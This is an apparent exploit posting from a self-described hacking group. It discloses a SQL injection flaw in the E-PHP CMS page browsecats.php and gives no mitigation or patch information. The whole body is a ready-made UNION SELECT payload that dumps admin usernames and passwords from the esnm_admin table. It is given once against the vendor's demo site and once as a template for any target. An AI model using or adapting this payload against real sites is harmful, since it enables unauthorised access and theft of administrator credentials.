E-PHP cms SQL Injection Vulnerability
#############################################
Dicovered By: SaiedHacker
Group: HackeranShiraz Security Team
Web Address: www.HackeranShiraz.Com
E-mail: SaiedHackerIran_at_Yahoo.com
Creator: http://ephpscripts.com
#############################################
Demo Exploit:
http://ephpscripts.com/demo/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin
#############################################
Exploit:
http://Target/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin